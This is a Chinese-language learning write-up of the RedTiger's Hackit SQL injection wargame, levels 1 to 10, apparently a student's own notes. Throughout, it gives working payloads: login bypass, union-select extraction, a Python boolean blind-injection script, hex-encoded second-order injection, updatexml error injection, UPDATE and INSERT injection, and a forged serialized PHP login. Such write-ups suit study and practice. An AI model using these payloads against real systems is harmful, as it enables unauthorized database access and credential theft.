RedTiger's Hackit
我的wp是按照我的做题思路直接写出来的,不仅是为了借鉴,也是为了日后返回复习的时候,能从之前的错误中吸取经验教训,或是感悟一些巧妙地思想。
前些天刚学过sql注入,今天来这个网站巩固一下
level 1
第一关着实有点懵x,用burp重放的时候,#被自动去掉然后400报错(一开始没发现),然后就去尝试了盲注,结果布尔盲注可行???我觉得第一题不会搞这么难吧,去看了下别人的wp,才发现是我的#被burp吃掉了。。。
做题过程还是先测回显位(字段):
然后根据提示直接在表level1_users
里拿username和password
我也尝试了一下爆表名,但是group_concat,concat, limit都被ban掉了
level 2
这道题的hint:Condition没看懂什么意思 = =
还是先加引号,看有没有报错, 发现Password里添加引号会报错
但是只会报错,不会回显,然后去搜了报错的那个函数mysql_num_rows()
,发现它用来返回查询结果的行数,想到是用行数来判断账号密码是否对应,,,然后想起了这道题是 simple login bypass,所以直接万能密码 ' or 1=1 #
level 3
第三题,这道题给了hint:try to get an error,但是找不到报错点,尝试很多次无果后,在以为前辈的wp上看到了方法,传入数组,就是usr[]=xxxxxxxxx
报错里给了一个文件,打开里边有源码
<?php
// warning! ugly code ahead :)
// requires php5.x, sorry for that
function encrypt($str)
{
$cryptedstr = "";
srand(3284724);
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
function decrypt ($str)
{
srand(3284724);
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";
for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}
foreach($array as $s)
{
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>
很明显,这是加密解密的php代码,然后把要注入的语句扔进去加密一下再提交就行,结果。。。
我的php不知道什么问题,加密的代码不正确(Admin加密出来都不一样) = = ,换了几个版本都不行,只好去copy了,思路是一样的
测字段和回显位
usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDc2MTc2MDc0MDM4
usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx
爆username和password
usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MjMyMDI1MTA0MTUzMTc3MTUwMDA5MTkxMTMwMjA3MTY5MTIwMTUzMTk3MDQwMTA0MTc3MTQ5MjA5MTg0MTEzMDU0MTgwMjA4MTE4MjE4MTcwMTc4MDE1MTk4MDAyMTQ2MTE1MDcwMTQzMTU0MDI3MDE3MTY1MTY0MDQ3MDM2MDgwMjIzMDQ4MDc5MTI1MTAxMTA3MTU1MTQ2MDk0MTU0MjAyMDY4MDMyMjIzMTQ3MDYzMDM1MjE4MDE3MDM1MTQzMDk3MjAyMjAzMDc1MTE1MTgyMDQ5MTgy
level 4
测试了一下,发现是布尔盲注
丢给sqlmap跑,结果sqlmap测不出数据库类型???一脸疑惑,也没有查到原因。
只好自己写脚本(这个代码是我从这篇wp里copy过来的 = =)
def get_flag_length():
sql = 'if((select length(keyword) from %s limit 0,1)=%d ,1 , 0)'
sql_url = baseurl + sql
flag_length = 1
for i in range(0, lll):
while flag_length:
print(flag_length)
res = requests.get(url=sql_url % (table_name, flag_length), headers=headers, proxies=proxy)
if flag in res.text:
return flag_length
flag_length += 1
if flag_length > 200:
table_length = -1
break
def get_flag_name():
sql = 'if(ascii(substr((select keyword from %s limit 0,1), %d, 1))=%d, 1, 0)'
sql_url = baseurl + sql
flag_name = ''
for no in range(1, flag_length + 1):
for x in range(1, 200):
res = requests.get(url=sql_url % (table_name, no, x), headers=headers, proxies=proxy)
if flag in res.text:
flag_name += chr(x)
print(flag_name)
break
else:
print(x)
continue
print(flag_name)
print(flag_name)
return flag_name
最后拿到flag
睡觉睡觉,明天再做
level 5
这题ban了substring,substr,",", mid
hint:不是盲注,密码被md5加密了,观察登录错误
根据hint,回显位在登录错误的地方,猜测是报错注入
username 引号报错
这个函数在前边讲过,是返回查询结果的行数,所以这里应该是查询username对应的数据项,然后拿查询结果里的md5值和md5(password)比对,那么之前的猜测就错了(不是报错注入),而是union select 绕过
原理代码大概是:
$con = mysqli_connect(xxxxxx)
$sql = "select * from table where username = ".$_POST["username"];
$result = mysqli_query($con, $sql);
$row_number = mysql_num_rows($result);// 返回查询结果的行数
if($row_number > 0){
$row = mysql_fetch_assoc($result);// 将查询结果转换为关联数组
if($row["password"] == md5($_POST["password"]))
echo $flag;
}else
echo "Login failed!";
证实了我的猜测,这里select的1和2替换掉了查询结果里的username和password,但是不匹配
构造union select username=任意值1 password=md5(任意值2),然后post-data里password=任意值2
bingo!
恰饭恰饭,恰完饭今天先写作业了,写完作业继续
level 6
看到url里有user参数,加了个引号,报错,提示 mysql_fetch_object(),去查了一下,函数的作用和mysql_fetch_assoc() 比较类似,
测试到user=5没有查询结果
但是user=5 or 1=1有回显,说明存在注入点
没有什么思路,晚上撸了串喝了酒,不适合昨天,明天再看
咕了好几天,今天把这些肝完吧
确定字段数(回显位)
找到username的回显位
但是password不管放在哪都没有回显
去看了下别人的wp,发现是二次(查询)注入,emmmm,我还没学二次注入,索性把这道题当作是学新知识点了。
后台代码可能是,来源
$sql="select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
$row=mysql_fetch_row($result);
$username=$row1[1];
$sql2="select username,email from level6_users where username="."'".$username."'"
看到代码,思路就很清晰了。
二次查询就是,用id去查询username,然后用username去查询username和email信息
所以需要达到的条件:
- 一次查询结果有admin/status=1的用户username
- 二次查询时能把其账号密码导出
那么,第一次查询需要用union构造一个含有status=1的用户的查询结果返回
5 union select 1,username,3,4,5 from level6_users where status=1
其中username字段为sql2需要拼接的语句
username=' union select 1,username,password,4,5 from level6_users where status=1 #
如果直接拼接进去的话,引号会报错
5 union select 1,' union select 1,username,password,4,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1
所以需要用十六进制编码进行注入
5 union select 1,0x2720756e696f6e2073656c65637420757365726e616d652c70617373776f72642c332c342c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1
尝试发现email回显位为4
调整payload
5 union select 1,' union select 1,username,3,password,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1
5 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1
level 7
给了表名level7_news,列名autor(不该是author吗)
让查询发布过和google相关新闻的作者名字
ban了 注释,substr,substring,ascii,mid,like
搜了google,有一篇新闻,确定是要get到这个作者
然后加引号有报错
sql语句:SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google'%' OR text.title LIKE '%google'%')
这块有两个参数点,所以要构造一个前后都能闭合的语句
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'='%') union select autor from level7_news and ('%'='%' OR text.title LIKE '%'='%') union select autor from level7_news and ('%'='%')
'='%') union select autor from level7_news and ('%'='
但是仍然报错,看了下是text.title那里,考虑自己的思路可能错了,emmm,可能还有没ban掉的注释,这样就可以处理后半句报错的问题,试了知道的几个注释符,都被ban了,去搜了下,--%a0可以,然后测出了回显位
1%') union select 1,2,3,4 from level7_news --%a0
payload: 1%') union select 1,2,3,4 from level7_users --%a0
拿到flag
level 8
目标是拿到admin的密码,给了修改框,猜测是update注入,尝试报错,在Email加引号的时候报错,说明存在注入点
根据报错内容,判断sql语句中字段顺寻为Email,ICQ,Age
看了下update的用法
UPDATE table_name SET field1=value1, field2=value2 [where clause]
猜测sql语句为update table set name='x',mail='x',icq='x',age=x where id=1
那么把password插入到Email域里就行了
', Email="asd"
但是这些字段都是被 “ ” 包围的,没办法执行里面的sql语句,观察了一下,发现Age是没有被引号包围的,但是它是一个Int型字段,所以想到了用length和ascii进行注入,emmmmmm,问题来了,查不到库名,表名,字段名,应该是被ban了,不是考点。不过这个思想可以可以记下来,说不定以后用得到。
看了下wp,这里考的是,同一数据项的字段可以相互赋值,例如A1=A2
那么payload:',email=password,icq='
今天在思考这道题的时候,想到了updatexml报错注入,尝试了下发现可以爆,但是查数据库名的所有方法都被ban掉了
hans@localhost' or updatexml(0x7e,(version()),0) or '
level 9
这道题的目标是拿到任何用户的账号密码
给了表名level9_users
给了提示,这道题不是盲注,可以拿到回显
给了一个查询框,应该是文章查询的,有姓名,题目和正文三部分
挨着加引号,发现在正文里加引号会报错,说明存在注入点
根据报错结果,猜测sql语句为select * from level9_users where title=xxx and (name like '' or title like '' or text like '')
构造语句111') union select 1,2 from level9_users #
发现注释被ban了,换其他姿势试了下,发现--%a0可行
查了下这个函数,大概是用sprintf函数返回update后的结果(报错的原因是引号封闭导致占位符%s数量不一致)
update???
试一下updatexml报错注入
' or updatexml(0x7e,(version()),0) or '
成功!
' or updatexml(0x7e,(select group_concat(username) from level9_users),0) or '
爆用户名
但是这里没有报错!!!可能是空值,先试试密码
' or updatexml(0x7e,(select group_concat(password) from level9_users),0) or '
爆密码
emmmm,怎么看都不想答案,先试一下吧
给了提示,大概意思是,使用了未定义的常量?一脸懵逼,应该是哪里错了
emmmmm,我回去看了下文档,发现prinf()函数报错是insert,不是update操作
sprintf("INSERT INTO listing (name, title, text) VALUES (%s,%s,%s)", $name,$title,$text;
放进去就是
sprintf("INSERT INTO listing (name, title, text) VALUES ('$name','$title','$text')";
在insert into时,后一组数据可以覆盖前一组数据,和上一道题的方法类似
构造payload
'),((select username from level9_users),(select password from level9_users),'
这一类思想很重要,后来的数据可以覆盖先来的数据
level 10
这道题就一个登录按钮,用burp抓包
里面有一串字符,拿去decode
应该是php的序列化对象,根据提示,要用TheMaster登录
尝试登录,失败
还尝试了很多姿势,都失败了,= =我对php序列化和反序列化不是很熟悉,去看了wp,发现只需要设置密码的布尔值为1即可。
payload=login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login
总结
这些天的效率很低,但还是坚持把RedTiger's Hackit做完了。收获了很多知识点和思想,也感悟了一些安全的理念。这些零碎的知识都是需要回过头仔细整理打磨的,尤其是做题过程中,深刻地体会到了自己所了解的知识量的严重匮乏,知道的太少太少了。仍是需要打起十二分的气魄,一步步向前走。安全的路会走的很艰难,但也会很快乐。乐在其中的踱步前行就是我的节奏了。